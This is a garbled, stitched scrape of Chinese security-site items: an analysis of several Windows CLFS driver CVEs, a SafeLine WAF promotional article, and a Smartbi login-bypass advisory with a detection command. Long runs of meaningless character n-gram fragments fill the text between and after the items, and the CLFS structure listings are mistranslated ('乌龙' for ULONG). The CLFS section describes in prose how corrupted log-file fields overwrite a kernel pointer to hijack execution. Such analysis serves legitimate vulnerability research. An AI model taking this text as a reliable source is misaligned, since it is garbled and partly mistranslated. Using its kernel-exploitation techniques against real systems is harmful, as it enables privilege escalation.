目前正在 前正在维 正在维护 在维护更 维护更新 护更新中 难怪 怪它 它受 受到 到许 许多 难怪它 怪它受 它受到 受到许 到许多 难怪它受 怪它受到 它受到许 受到许多 织的 的青 青睐 组织的 织的青 的青睐 组织的青 织的青睐 基于 既然 马受 到众 众多 木马受 马受到 受到众 到众多 业木马受 木马受到 马受到众 受到众多 络中 中必 必然 然存 存在 在更 更多 多的 网络中 络中必 中必然 必然存 然存在 存在更 在更多 更多的 网络中必 络中必然 中必然存 必然存在 然存在更 存在更多 在更多的 马的 的使 用案 案例 木马的 马的使 的使用 使用案 用案例 业木马的 木马的使 马的使用 的使用案 使用案例 此围 围绕 因此围 此围绕 因此围绕 马进 进行 行攻 攻防 防技 技术 术的 的研 研究 究绝 绝对 对是 是有 有意 意义 义的 木马进 马进行 进行攻 行攻防 攻防技 防技术 技术的 术的研 的研究 研究绝 究绝对 绝对是 对是有 是有意 有意义 意义的 业木马进 木马进行 马进行攻 进行攻防 行攻防技 攻防技术 防技术的 技术的研 术的研究 的研究绝 研究绝对 究绝对是 绝对是有 对是有意 是有意义 有意义的 者从 从以 以下 下几 几个 个角 角度 度对 笔者从 者从以 从以下 以下几 下几个 几个角 个角度 角度对 笔者从以 者从以下 从以下几 以下几个 下几个角 几个角度 个角度对 行了 了分 分析 进行了 行了分 了分析 马进行了 进行了分 行了分析 梳理 马历 历史 史版 版本 本的 的升 升级 级迭 迭代 木马历 马历史 历史版 史版本 版本的 本的升 的升级 升级迭 级迭代 业木马历 木马历史 马历史版 历史版本 史版本的 版本的升 本的升级 的升级迭 升级迭代 现每 每次 次大 大版 本升 级都 都会 会伴 伴随 随着 着木 马通 通信 信模 模型 型的 级和 和优 优化 发现每 现每次 每次大 次大版 大版本 版本升 本升级 升级都 级都会 都会伴 会伴随 伴随着 随着木 着木马 木马通 马通信 通信模 信模型 模型的 型的升 升级和 级和优 和优化 发现每次 现每次大 每次大版 次大版本 大版本升 版本升级 本升级都 升级都会 级都会伴 都会伴随 会伴随着 伴随着木 随着木马 着木马通 木马通信 马通信模 通信模型 信模型的 模型的升 型的升级 的升级和 升级和优 级和优化 马最 最新 新版 的通 型进 行梳 理和 和分 木马最 马最新 最新版 新版本 本的通 的通信 模型进 型进行 进行梳 行梳理 梳理和 理和分 和分析 业木马最 木马最新 马最新版 最新版本 新版本的 版本的通 本的通信 的通信模 信模型进 模型进行 型进行梳 进行梳理 行梳理和 梳理和分 理和分析 从防 防御 御者 者的 的角 度分 析了 从防御 防御者 御者的 者的角 的角度 角度分 度分析 分析了 从防御者 防御者的
  10. 本文是对之前Windows-clfs漏洞的梳理,不涉及后续的利用,因为CLFS驱动在短时间内暴露了很多漏洞,并且很多漏洞涉及的函数和clfs结构都是相关的。还有不同的方法可以绕过之前的CVE 补丁。所以我想好好总结一下,整理一下,让自己能够从中学习到思路,分析一下绕过它的心路历程。 关于clfs漏洞,在梳理之前,需要了解以下几点,这也是每一篇clfs系列文章中的常识性知识。 # 必备知识 首先,通用日志文件系统(CLFS) API 提供了一个高性能、通用的日志文件子系统,可供专用客户端应用程序使用并由多个客户端共享,以优化日志访问。这是微软对CLFS的解释,微软还提供了一系列的API来对日志进行操作、追加、访问等操作。这些API在后续的漏洞利用过程中也是不可或缺的。 例如: ```` CLFSUSER_API HANDLE CreateLogFile( [输入] LPCWSTR pszLogFileName, [输入] ACCESS_MASK fDesiredAccess, [输入] DWORD dwShareMode, [输入,可选] LPSECURITY_ATTRIBUTES psaLogFile, [在] ULONG fCreateDisposition, [输入] ULONG fFlagsAndAttributes ); CreateLogFile(日志文件名、访问权限[读或写和删除]、文件共享模式、指向SECURITY_ATTRIBUTES 结构的指针、打开/创建新文件、文件属性和标志) CreateLogFile(logFileName.c_str(), GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0); ```` 任何需要日志记录或恢复支持的用户模式应用程序都可以使用CLFS。 CLFS数据结构大致可以分为三种: 1. 存储在内核模式内存中并附加到一个对象(例如附加到File 对象的FCB)。 2. 暂时保存在用户态或内核态调用者的内存中。 3、持久化存储在磁盘上的基本日志文件(BLF),即用户可以通过CreateLogFile函数创建一个日志文件,然后在本地创建一个同名、后缀为.blf的日志文件,其中包含日志存储所需的一些信息。 其次,LOG_BLOCK:每个日志块都以名为CLFS_LOG_BLOCK_HEADER 的块头开始。 ```` typedef 结构_CLFS_LOG_BLOCK_HEADER { UCHAR 主要版本; UCHAR 次要版本; UCHAR 乌斯恩; CLFS_CLIENT_ID 客户端ID; USHORT 总扇区计数; USHORT 有效扇区计数; 乌龙填料; 乌龙校验和; 乌龙旗; CLFS_LSN 当前Lsn; CLFS_LSN 下一个Lsn; ULONG 记录偏移量[16]; ULONG 签名偏移; } CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER; by:https://github.com/ionescu007/clfs-docs/ ```` 其中RecordOffsets是日志块中记录的偏移量数组,CLFS只处理指向CLFS_LOG_BLOCK_HEADER末尾的第一条记录的偏移量(0x70)。 ```` typedef 结构_CLFS_LOG_BLOCK_HEADER { UCHAR 扇区_块_类型; UCHAR 乌斯恩; }; ```` 当日志文件存储在磁盘上时,其日志块将被编码。在编码过程中,还有一个SignaturesOffset字段指向的数组。编码时,每个扇区都有一个签名以确保一致性。或者Checksum是日志块数据的校验和,用于验证读取的数据。使用CRC32 校验和。函数对应:CCrc32:ComputeCrc32 Base Record定义如下,它存储用于将基本日志文件与容器关联的元数据 ```` typedef 结构_CLFS_BASE_RECORD_HEADER { CLFS_METADATA_RECORD_HEADER hdrBaseRecord; CLFS_LOG_ID cidLog; ULONGLONG rgClientSymTbl[CLIENT_SYMTBL_SIZE]; ULONGLONG rgContainerSymTbl[CONTAINER_SYMTBL_SIZE]; ULONGLONG rgSecuritySymTbl[SHARED_SECURITY_SYMTBL_SIZE]; ULONG cNextContainer; CLFS_CLIENT_ID cNextClient; ULONG cFreeContainers; ULONG cActiveContainers; ULONG cbFreeContainers; ULONG cbBusyContainers; ULONG rgClients[MAX_CLIENTS_DEFAULT]; ULONG rgContainers[MAX_CONTAINERS_DEFAULT]; ULONG cbSymbolZone; 乌龙cb扇区; USHORT b 未使用; CLFS_LOG_STATE 日志状态; UCHAR cUn; UCHAR cClients; } CLFS_BASE_RECORD_HEADER, *PCLFS_BASE_RECORD_HEADER; ```` 然后cActiveContainers保存当前活动容器的数量,rgContainers数组保存容器上下文的偏移值。用户可以使用AddLogContainer 和AddLogContainerSet 函数将容器添加到日志中。容器上下文由以下结构体表示: typedef 结构_CLFS_CONTAINER_CONTEXT ```` typedef 结构_CLFS_CONTAINER_CONTEXT { CLFS_NODE_ID cidNode; ULONGLONG cbContainer; CLFS_CONTAINER_ID cidContainer; CLFS_CONTAINER_ID cidQueue; 联盟 { CClfsContainer* pContainer; ULONGLONG uAlAlignment; }; CLFS_USN usn当前; CLFS_CONTAINER_STATE eState; ULONG cbPrevOffset; ULONG cbNextOffset; } CLFS_CONTAINER_CONTEXT, *PCLFS_CONTAINER_CONTEXT; * pContainer实际上包含一个指向CClfsContainer的内核指针,在运行时描述容器 * 当日志文件位于磁盘上时,该字段必须设置为零。 ```` BLF 文件也是生成的日志文件。组成blf的不同元数据对应不同类型的数据。注意控制块,它包含有关布局、扩展区域和截断区域的信息。其结构如下,其中rgBlocks保存的是日志块的大小。 ```` typedef 结构_CLFS_CONTROL_RECORD { CLFS_METADATA_RECORD_HEADER hdrControlRecord; ULONGLONG ullMagicValue; 乌龙版; CLFS_EXTEND_STATE eExtendState; USHORT iExtendBlock; USHORT iFlushBlock; ULONG cNewBlockSectors; ULONG cExtendStartSectors; ULONG cExtendSectors; CLFS_TRUNCATE_CONTEXT cxTruncate; ULONG cBlocks; ULONG c保留; CLFS_METADATA_BLOCK rgBlocks[6]; CLFS_CONTROL_RECORD; ```` CLFS_METADATA_BLOCK的结构是 ```` typedef 结构_CLFS_METADATA_BLOCK { 乌龙龙pbImage; 乌龙cbImage; ULONG cbOffset; CLFS_METADATA_BLOCK_TYPE eBlockType; 乌龙填料; CLFS_METADATA_BLOCK; ```` 上述CLFS数据结构,以及对日志文件进行编码、添加容器等一些操作,在后续的CVE漏洞分析中将会提到。是下面漏洞分析的关键。更好地梳理clfs中的不同数据结构,了解它们的作用和功能,可以更好地帮助复现和发现新clfs驱动系列中的问题。 ## 漏洞分析 ### CVE-2022-24521 漏洞原因:CClfsBaseFilePersisted:LoadContainerQ 该函数中有一个逻辑。我们就正常整理一下吧。如果CLFS_CONTAINER_CONTEXT-cidQueue 的值为-1 ,那么此时CLFS_CONTAINER_CONTEXT-pContainer 的值被设置为0,然后会调用CClfsBaseFilePersisted:RemoveContainer 函数。 在CClfsBaseFilePersisted:RemoveContainer函数中,还调用了CClfsBaseFilePersisted:FlushImage函数,然后在获取到值并验证后,调用pContainer对象中存储的函数。 根据CClfsContainer:CClfsContainer函数,*pContainer存储在虚函数表中。 此时我们正在查看CClfsBaseFilePersisted:FlushImage函数 CClfsBaseFilePersisted:WriteMetadataBlock 函数将在内部执行。该函数会遍历每个容器上下文,先保存pContainer,然后将其设置为0。 然后它内部调用ClfsEncodeBlock和ClfsDecodeBlock对数据进行编码和解码。直观感受如图 虽然在上述过程中代码刻意保护了pContainer并将其设置为0,但是在ClfsEncodeBlock编码过程中,每0x200字节的最后两个字节都会被写入到SignaturesOffset中。那么如果修改_CLFS_LOG_BLOCK_HEADER中的SignaturesOffset字段,使其与_CLFS_CONTAINER_CONTEXT中的pContainer指针相交,那么在函数编码时,写入的内容将覆盖pContainer执行。这样,当CClfsBaseFilePersisted:FlushImage函数调用pContainer时,实际上执行的是我们构造的地址。这就导致RIP达到了函数执行任意函数的目的。 ### CVE-2022-30220 该漏洞位于CClfsBaseFilePersisted:ReadImage函数 它没有上一个漏洞较多的繁琐流程,而且这个漏洞通过patch diff的效果也更直观。主要是关于_CLFS_CONTROL_RECORD-cBlocks(cBlocks字段表示数组中块的数量)值大小的验证。如上图所示,if(cBlocks 6u)通过了这个判断,然后在函数中使用ExAllocatePoolWithTag分配两个池,池空间大小分别为24和2。然后对两个池执行memmove操作。然后将_CLFS_CONTROL_RECORD - rgBlocks 列表复制到pool1。 其实当我看到这里的分配时,我就有了一个猜测,是不是分配了一个大小为0的地址。即未初始化的空间。看完日志块的函数,继续往下看CClfsBaseFileSnapshot:InitializeSnapshot函数,该函数也是使用ExAllocatePoolWithTag函数来分配。此时cblocks的值比实际值要大。这样导致ExAllocatePoolWithTag最终分配的空间为0,那么下面的memmove函数复制的数据也为0。 终于被执行了。使用ClfsEncodeBlockPrivate函数时,blockHeader指向一个未初始化的空间,然后在写入下面的数据进行操作时,发送错误,导致崩溃。 ### CVE-2022-37969 该漏洞的主要问题是对clf.sys中基本日志文件(BLF)的基本记录头中的cbSymbolZone字段缺乏严格的边界检查。在上面前言的介绍中,我们知道BLF文件是在0x200字节扇区中写入/读取的,最后两个字节用于存储扇区签名。对于合法的BLF 文件,包含原始字节的数组位于块的末尾。 ClfsEncodeBlock 和ClfsDecodeBlock 函数负责编码、解码并将签名和原始字节写入各自的位置。 (函数处理逻辑我们在24521中已经分析过)。另请注意,_CLFS_BASE_RECORD_HEADER 结构中有一个cbSymbolZone。经过查看,我找到了关键函数CClfsBaseFilePersisted:AllocSymbol 从函数中可以看出,修改了cbSymbolZone的值,然后执行了if判断。 cbSymbolZone主要用于计算新添加的Container应该跳过多少空间,这也是这里漏洞的关键。该函数直接使用blf文件中存储的cbSymbolZone的值,这样我们如果操作cbSymbolZone的值,就可以重写容器,修改容器的pcontainer指针。 函数中的if判断是我们下一步需要考虑的,但与cbSymbolZone比较的值是SignaturesOffset字段。这个字段可能会被我们创建的blf文件中内存中的大量数据覆盖。这样,即使cbSymbolZone字段设置为异常值,仍然可以绕过cbSymbolZone字段的验证。 这样,当函数调用memset()时,就会导致v10处发生越界写入。该偏移量属于日志中的CLFS_CONTAINER_CONTEXT 结构。这样,如果CLFS_CONTAINER_CONTEXT结构中偏移处的CClfsContainer指针损坏,它可以指向可以申请的用户态内存地址,然后申请内存覆盖其地址。 ### CVE-2023-23376 该漏洞主要涉及CLFS_CONTROL_RECORD结构体。此结构用于保存CLFS_METADATA_BLOCK,其中包含有关日志中存在的所有块的信息,并且还具有用于更改块大小的附加字段。 block与eExtendState相关,iFlushBlock——正在写入的block的索引; cNewBlockSectors - 新块的大小(以扇区为单位); cExtendStartSectors - 原始块大小; cExtendSectors - 添加的扇区数。 cclfsbasefilepersist:OpenImage 函数检查中断的块扩展操作是否应继续。 该函数检查iExtendBlock和iFlushBlock索引,它们应该小于6。否则,块指针将在CClfsBaseFilePersisted:ExtendMetadataBlock函数中的映射缓冲区m_rgBlocks之外读取。 不检查传入CClfsBaseFilePersisted:ExtendMetadataBlock 函数的iExtendBlock 和iFlushBlock。 所以这里有一个问题。 OpenImage函数检查,而其他函数调用ExtendMetadataBlock函数时,出现问题, 但如果函数调用过程首先由OpenImage函数检查,那么索引检查就会失败。但是,如果您在该函数检查后修改了CLFS_CONTROL_RECORD 或索引,则可以使用它来将地址作为指针传递。 这也是Windows中的一个经典逻辑漏洞。 因此,该漏洞最终改变了CLFS_CONTROL_RECORD结构中的eExtendState、iExtendBlock、iFlushBlock等字段的值。 然后在OpenImage中执行ExtendMetadataBlock函数时,修改CLFS_CONTROL_RECORD以递增CLFS_CONTROL_RECORD-DumpCount,以便ClfsEncodeBlock函数(在24521中引入)对该块进行编码,然后写入其更改的数据。这将覆盖CLFS_LOG_BLOCK_HEADER-RecordOffsets[0]。最后修改的CLFS_CONTROL_RECORD将被执行,任何值都可以在内存中执行。 ### CVE-2023-28252 首先在CClfsBaseFilePersisted:OpenImage函数中调用CClfsBaseFilePersisted:ReadImage函数 然后在CClfsBaseFilePersisted:ReadImage函数中调用CClfsBaseFile:GetControlRecord 在CClfsBaseFilePersisted:OpenImage函数中,函数调用的逻辑顺序是ReadImage-GetBaseLogRecord-条件判断(分别判断eExtendState iExtendBlock iFlushBlock的值)-ExtendMetadataBlock。 CClfsBaseFilePersisted:ExtendMetadataBlock函数会依赖iExtendBlock的值来加载元数据,然后获取指针,并使用eExtendState的值进行分支判断。 然后调用CClfsBaseFilePersisted:FlushControlRecord函数 CClfsBaseFilePersisted:FlushControlRecord函数对GetControlRecord获得的日志控制块进行分支判断,然后可以转到CClfsBaseFilePersisted:WriteMetadataBlock函数。然后在WriteMetadataBlock函数中获取并更新元数据块的地址,更新后的条件参数就是iFlushBlock的值。内部调用ClfsEncodeBlock和WriteSector来编码和写入数据。 在WriteMetadataBlock函数中,直接调用WriteSector函数来写入数据。假设执行ClfsEncodeBlock时,首先将校验和设置为0,然后ClfsEncodeBlockPrivate检测到异常并返回错误代码,因此ClfsEncodeBlock不会更新校验和。那么元数据块的校验和就变成0,从而绕过OpenImage函数中的检测。 CreateLogFile函数将调用CClfsBaseFilePersisted:CheckSecureAccess函数。 CheckSecureAccess函数会遍历容器获取pContainer值并调用虚函数。因此,可以创建一个包含精心构造的容器的日志文件,然后利用该漏洞修改该容器的偏移量,使得再次调用CreateLogFile时,遍历到的容器就是构造好的容器,然后pContainer值指向在用户空间构造的虚函数布局,这样当调用该虚函数时,就可以执行我们要执行的函数了。 总结一下:当WriteMetadataBlock的ClfsEncodeBlock检测到异常并触发错误代码时,它仍然会更新MetaBlockControl块数据,这会导致下次加载MetaBlockControl块时对MetaBlockControlShadow块的越界访问。 通过分析多个clfs漏洞,我们可以发现这些漏洞基本集中在日志文件的写入操作上。每个块头的处理还包括偏移量和指针的操作。 ## 总结 在整理clfs系列的漏洞时,我觉得最好通过diff的结果来分析,然后结合细节进行分析,因为clfs系列的漏洞利用了很多相关的功能。 整个clfs漏洞系列与blf文件内部的结构、将blf文件写入日志系统时调用的函数以及用于存储实际数据的容器有关。而对于CLFS_LOG_BLOCK_HEADER等,大多数驱动都会从这里开始,通过偏移量来分析并完成该过程。因此,修改偏移量等位置信息造成内存损坏是漏洞发现的关键点。还有涉及比较多的CLFS_CONTAINER_CONTEXT等等。 参考: https://bbs.kanxue.com/thread-275566.htm#%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0 https://github.com/ionescu007/clfs-docs/ https://mp.weixin.qq.com/s/mkLjAyalo55PmdLbzMnX9g 转载自先知社区:https://xz.aliyun.com/t/13219?time__1311=mqmxnDBD9AYew405DIAqCueWTRQIKKC4Dalichlgref=https%3A%2F%2Fxz.aliyun.com%2Ftab%2F1 添加一名作者 本文 文是 是对 对之 之前 本文是 文是对 是对之 对之前 本文是对 文是对之 是对之前 漏洞 洞的 的梳 梳理 漏洞的 洞的梳 的梳理 漏洞的梳 洞的梳理 不涉 涉及 及后 后续 续的 的利 利用 不涉及 涉及后 及后续 后续的 续的利 的利用 不涉及后 涉及后续 及后续的 后续的利 续的利用 因为 驱动 动在 在短 短时 时间 间内 内暴 暴露 露了 了很 很多 多漏 驱动在 动在短 在短时 短时间 时间内 间内暴 内暴露 暴露了 露了很 了很多 很多漏 多漏洞 驱动在短 动在短时 在短时间 短时间内 时间内暴 间内暴露 内暴露了 暴露了很 露了很多 了很多漏 很多漏洞 并且 且很 洞涉 及的 的函 函数 数和 并且很 且很多 漏洞涉 洞涉及 涉及的 及的函 的函数 函数和 并且很多 且很多漏 多漏洞涉 漏洞涉及 洞涉及的 涉及的函 及的函数 的函数和 结构 构都 都是 是相 相关 关的 结构都 构都是 都是相 是相关 相关的 结构都是 构都是相 都是相关 是相关的 还有 有不 不同 同的 的方 方法 法可 可以 以绕 绕过 过之 前的 还有不 有不同 不同的 同的方 的方法 方法可 法可以 可以绕 以绕过 绕过之 过之前 之前的 还有不同 有不同的 不同的方 同的方法 的方法可 方法可以 法可以绕 可以绕过 以绕过之 绕过之前 过之前的 补丁 所以 以我 我想 想好 好好 好总 总结 结一 一下 所以我 以我想 我想好 想好好 好好总 好总结 总结一 结一下 所以我想 以我想好 我想好好 想好好总 好好总结 好总结一 总结一下 整理 理一 整理一 理一下 整理一下 让自 自己 己能 能够 够从 从中 中学 学习 习到 到思 思路 让自己 自己能 己能够 能够从 够从中 从中学 中学习 学习到 习到思 到思路 让自己能 自己能够 己能够从 能够从中 够从中学 从中学习 中学习到 学习到思 习到思路 分析 析一 下绕 过它 它的 的心 心路 路历 历程 分析一 析一下 一下绕 下绕过 绕过它 过它的 它的心 的心路 心路历 路历程 分析一下 析一下绕 一下绕过 下绕过它 绕过它的 过它的心 它的心路 的心路历 心路历程 关于 在梳 理之 在梳理 梳理之 理之前 在梳理之 梳理之前 需要 要了 了解 解以 以下 下几 几点 需要了 要了解 了解以 解以下 以下几 下几点 需要了解 要了解以 了解以下 解以下几 以下几点 这也 也是 是每 每一 一篇 这也是 也是每 是每一 每一篇 这也是每 也是每一 是每一篇 系列 列文 文章 章中 中的 的常 常识 识性 性知 知识 系列文 列文章 文章中 章中的 中的常 的常识 常识性 识性知 性知识 系列文章 列文章中 文章中的 章中的常 中的常识 的常识性 常识性知 识性知识 必备 备知 必备知 备知识 必备知识 首先 通用 用日 日志 志文 文件 件系 系统 通用日 用日志 日志文 志文件 文件系 件系统 通用日志 用日志文 日志文件 志文件系 文件系统 提供 供了 了一 一个 个高 高性 性能 提供了 供了一 了一个 一个高 个高性 高性能 提供了一 供了一个 了一个高 一个高性 个高性能 用的 的日 件子 子系 通用的 用的日 的日志 文件子 件子系 子系统 通用的日 用的日志 的日志文 志文件子 文件子系 件子系统 可供 供专 专用 用客 客户 户端 端应 应用 用程 程序 序使 使用 用并 并由 由多 多个 个客 端共 共享 可供专 供专用 专用客 用客户 客户端 户端应 端应用 应用程 用程序 程序使 序使用 使用并 用并由 并由多 由多个 多个客 个客户 户端共 端共享 可供专用 供专用客 专用客户 用客户端 客户端应 户端应用 端应用程 应用程序 用程序使 程序使用 序使用并 使用并由 用并由多 并由多个 由多个客 多个客户 个客户端 客户端共 户端共享 以优 优化 化日 志访 访问 以优化 优化日 化日志 日志访 志访问 以优化日 优化日志 化日志访 日志访问 这是 是微 微软 软对 这是微 是微软 微软对 这是微软 是微软对 的解 解释 的解释 软还 还提 一系 列的 微软还 软还提 还提供 了一系 一系列 系列的 微软还提 软还提供 还提供了 供了一系 了一系列 一系列的 来对 对日 志进 进行 行操 操作 来对日 对日志 日志进 志进行 进行操 行操作 来对日志 对日志进 日志进行 志进行操 进行操作 追加 问等 等操 访问等 问等操 等操作 访问等操 问等操作 这些 在后 的漏 洞利 用过 过程 程中 中也 是不 不可 可或 或缺 缺的 在后续 续的漏 的漏洞 漏洞利
  11. 近日,长亭科技SafeLine产品通过互联网安全研究中心测试,获得WEB应用防火墙OWASP认证! OWASP推出的“OWASP Web应用防火墙认证”是目前全球最全面的Web应用防火墙认证。涵盖了WAF产品的检测能力、防御能力、性能、自身安全、用户习惯等各个方面的全面测试,被视为WEB应用安全领域的权威参考。 从雷驰在评测中的表现来看,由于采用了全球最前沿的人工智能语义分析技术,威胁的拦截和识别不再依赖规则维护。整体策略比传统WAF产品更加灵活。在拦截策略灵活性方面的得分优于很多传统WAF。各项测试稳定性和可靠性指标均达到100%。同时,SafeLine在运行速度测试中的表现也遥遥领先。其中,99%的请求可以在1ms内完成,90%的请求只需要0.1ms。这也意味着该产品对企业的正常经营没有影响。对于之前因部署WAF而导致用户体验不佳的企业来说,这个消息无异于天方夜谭。 如今,API 已成为应用程序驱动世界中创新的基本要素。从银行、零售和运输到物联网、自动驾驶汽车和智能城市,API 是移动、SaaS 和Web 应用程序的重要组成部分。随着企业业务不断发展,攻防对抗不断变化,API越来越成为攻击者的目标。如果没有安全的API,企业就不可能进行快速创新。为此,OWASP组织针对潜在的API安全风险发布了最新的2023年OWASP API Security TOP10,帮助企业梳理API安全问题。 基于对客户需求的敏锐洞察和对API安全的早期投入,雷驰在原有WAF能力的基础上增加了API安全的原子能力,推出了雷驰WAF+产品形态。在Web安全能力方面,兼容2023 OWASP API Security Top 10的安全防护,并在此基础上帮助企业解决API资产和传输数据全面可见、API访问是否在预期范围内、业务API是否存在漏洞安全风险等三大核心问题,帮助企业从容应对API带来的安全挑战。 雷驰WAF+产品不仅仅是API功能的简单堆叠,而是利用云原生和微服务架构的特点,根据客户业务防护需求,灵活调整各种原子能力来增加API安全性,实现“千人千面”的安全防护,最终形成“1+12”的安全防护效果。例如:雷池WAF+“工作负载证明原子能力”可以丰富雷池的安全处理方式,有效反击传统的低风险和中风险请求源,增加其攻击成本。有效解决传统WAF对不构成对企业业务早期嗅探的阻断的低风险和中风险攻击缺乏对策的痛点。例如:雷驰WAF+“资产可视化原子能力”可以将雷驰WAF的控制粒度从站点层面下钻到API层面,可以屏蔽特定的API请求,而不影响同一业务下其他API请求的访问。可以解决企业专用API只允许特定用户组访问的业务安全需求。同时,雷驰WAF+可以在任何地点、任何云中根据业务安全需求快速灵活地扩展多种原子能力。通过雷驰WAF与API安全原子能力的有效结合,衍生出WAF风险管控链,帮助客户打造Web应用全链路安全体系,能够有效应对不断变化的Web应用安全风险和业务安全需求。 此次OWASP认证再次证明了SafeLine的稳定性、安全性和可信度,足以为客户提供包括API安全在内的更高级别的威胁防护。未来,长汀雷驰将继续深耕Web安全领域,坚持技术创新,用优质的产品和服务,全面保护企业Web数据、客户、业务。 附属参考文献——OWASP全球影响力: 1. OWASP被视为Web应用安全领域的权威参考书。 2009 年以下发布的美国国家和国际立法、标准、指南、委员会和行业行为准则参考OWASP。美国联邦贸易委员会(FTC) 强烈建议所有公司遵循OWASP 十大WEB 漏洞防护代码。 2、国际信用卡数据安全技术PCI标准将其列为必要组成部分; 3、美国国防信息系统局(DISA)应用安全和开发清单参考; 4、欧洲网络与信息安全局(ENISA)云计算风险评估参考; 5. 美国联邦首席信息官(CIO) 委员会、联邦部门和机构使用社交媒体的安全指南; 6、为美国国家安全局/中央安全局可管理网络规划提供参考; 7. 为UK GovCERTUK提供SQL注入参考; 8.为欧洲网络与信息安全局(ENISA)云计算风险评估提供参考。 近日 长亭 亭科 科技 长亭科 亭科技 长亭科技 产品 品通 通过 过互 互联 联网 网安 安全 全研 研究 究中 中心 心测 测试 产品通 品通过 通过互 过互联 互联网 联网安 网安全 安全研 全研究 研究中 究中心 中心测 心测试 产品通过 品通过互 通过互联 过互联网 互联网安 联网安全 网安全研 安全研究 全研究中 研究中心 究中心测 中心测试 获得 应用 用防 防火 火墙 应用防 用防火 防火墙 应用防火 用防火墙 认证 推出 出的 推出的 墙认 火墙认 墙认证 防火墙认 火墙认证 是目 目前 前全 全球 球最 最全 全面 面的 是目前 目前全 前全球 全球最 球最全 最全面 全面的 是目前全 目前全球 前全球最 全球最全 球最全面 最全面的 涵盖 盖了 涵盖了 品的 的检 检测 测能 能力 产品的 品的检 的检测 检测能 测能力 产品的检 品的检测 的检测能 检测能力 防御 御能 防御能 御能力 防御能力 性能 自身 身安 自身安 身安全 自身安全 用户 户习 习惯 惯等 等各 各个 个方 方面 的全 面测 用户习 户习惯 习惯等 惯等各 等各个 各个方 个方面 方面的 面的全 的全面 全面测 面测试 用户习惯 户习惯等 习惯等各 惯等各个 等各个方 各个方面 个方面的 方面的全 面的全面 的全面测 全面测试 被视 视为 被视为 用安 全领 领域 域的 的权 权威 威参 参考 应用安 用安全 安全领 全领域 领域的 域的权 的权威 权威参 威参考 应用安全 用安全领 安全领域 全领域的 领域的权 域的权威 的权威参 权威参考 从雷 雷驰 驰在 在评 评测 测中 中的 的表 表现 现来 来看 从雷驰 雷驰在 驰在评 在评测 评测中 测中的 中的表 的表现 表现来 现来看 从雷驰在 雷驰在评 驰在评测 在评测中 评测中的 测中的表 中的表现 的表现来 表现来看 由于 于采 采用 用了 了全 最前 前沿 沿的 的人 人工 工智 智能 能语 语义 义分 分析 析技 技术 由于采 于采用 采用了 用了全 了全球 球最前 最前沿 前沿的 沿的人 的人工 人工智 工智能 智能语 能语义 语义分 义分析 分析技 析技术 由于采用 于采用了 采用了全 用了全球 了全球最 全球最前 球最前沿 最前沿的 前沿的人 沿的人工 的人工智 人工智能 工智能语 智能语义 能语义分 语义分析 义分析技 分析技术 威胁 胁的 的拦 拦截 截和 和识 识别 别不 不再 再依 依赖 赖规 规则 则维 维护 威胁的 胁的拦 的拦截 拦截和 截和识 和识别 识别不 别不再 不再依 再依赖 依赖规 赖规则 规则维 则维护 威胁的拦 胁的拦截 的拦截和 拦截和识 截和识别 和识别不 识别不再 别不再依 不再依赖 再依赖规 依赖规则 赖规则维 规则维护 整体 体策 策略 略比 比传 传统 整体策 体策略 策略比 略比传 比传统 整体策略 体策略比 策略比传 略比传统 品更 更加 加灵 灵活 产品更 品更加 更加灵 加灵活 产品更加 品更加灵 更加灵活 在拦 截策 略灵 活性 性方 的得 得分 分优 优于 于很 很多 多传 在拦截 拦截策 截策略 策略灵 略灵活 灵活性 活性方 性方面 面的得 的得分 得分优 分优于 优于很 于很多 很多传 多传统 在拦截策 拦截策略 截策略灵 策略灵活 略灵活性 灵活性方 活性方面 性方面的 方面的得 面的得分 的得分优 得分优于 分优于很 优于很多 于很多传 很多传统 各项 项测 试稳 稳定 定性 性和 和可 可靠 靠性 性指 指标 标均 均达 达到 各项测 项测试 测试稳 试稳定 稳定性 定性和 性和可 和可靠 可靠性 靠性指 性指标 指标均 标均达 均达到 各项测试 项测试稳 测试稳定 试稳定性 稳定性和 定性和可 性和可靠 和可靠性 可靠性指 靠性指标 性指标均 指标均达 标均达到 同时 在运 运行 行速 速度 度测 试中 现也 也遥 遥遥 遥领 领先 在运行 运行速 行速度 速度测 度测试 测试中 试中的 表现也 现也遥 也遥遥 遥遥领 遥领先 在运行速 运行速度 行速度测 速度测试 度测试中 测试中的 试中的表 的表现也 表现也遥 现也遥遥 也遥遥领 遥遥领先 其中 的请 请求 求可 可以 以在 的请求 请求可 求可以 可以在 的请求可 请求可以 求可以在 内完 完成 内完成 求只 只需 需要 请求只 求只需 只需要 的请求只 请求只需 求只需要 这也 也意 意味 味着 着该 该产 品对 对企 企业 业的 的正 正常 常经 经营 营没 没有 有影 影响 这也意 也意味 意味着 味着该 着该产 该产品 产品对 品对企 对企业
  12. 漏洞链接:https://stack.chaitin.com/vuldb/detail?id=1c2b1506-c4ce-4ab5-9770-42884b2dc09c\r \r Smartbi是一款商业智能应用程序,提供数据集成、分析、可视化等功能,帮助用户理解并利用数据做出决策。 \r 近日,长亭科技监测到Smartbi发布了新补丁,修复了一个登录绕过漏洞。 \r 长汀应急团队经过分析发现,该漏洞类型为登录绕过,目前仍有多处公网系统尚未修复该漏洞。因此,基于漏洞原理,我们编写了无害的X-POC远程检测工具和牧云本地检测工具,现已开放给公众下载使用。 \r ## **漏洞描述**\r Smartbi 在安装过程中会有多个内置用户。当使用特定接口时,可以绕过用户的身份认证机制来获取其身份凭证。获得的身份凭证可以用来调用后端接口,这可能会导致敏感信息泄露和代码执行。 \r ## **检测工具**\r ### **X-POC远程检测工具**\r #### **检测方法**\r \r ````\r xpoc -r 105 -t 目标URL\r ````\r 漏洞 洞链 链接 漏洞链 洞链接 漏洞链接 是一 一款 款商 商业 业智 智能 能应 应用 用程 程序 是一款 一款商 款商业 商业智 业智能 智能应 能应用 应用程 用程序 是一款商 一款商业 款商业智 商业智能 业智能应 智能应用 能应用程 应用程序 提供 供数 数据 据集 集成 提供数 供数据 数据集 据集成 提供数据 供数据集 数据集成 分析 可视 视化 化等 等功 功能 可视化 视化等 化等功 等功能 可视化等 视化等功 化等功能 帮助 助用 用户 户理 理解 解并 并利 利用 用数 据做 做出 出决 决策 帮助用 助用户 用户理 户理解 理解并 解并利 并利用 利用数 用数据 数据做 据做出 做出决 出决策 帮助用户 助用户理 用户理解 户理解并 理解并利 解并利用 并利用数 利用数据 用数据做 数据做出 据做出决 做出决策 近日 长亭 亭科 科技 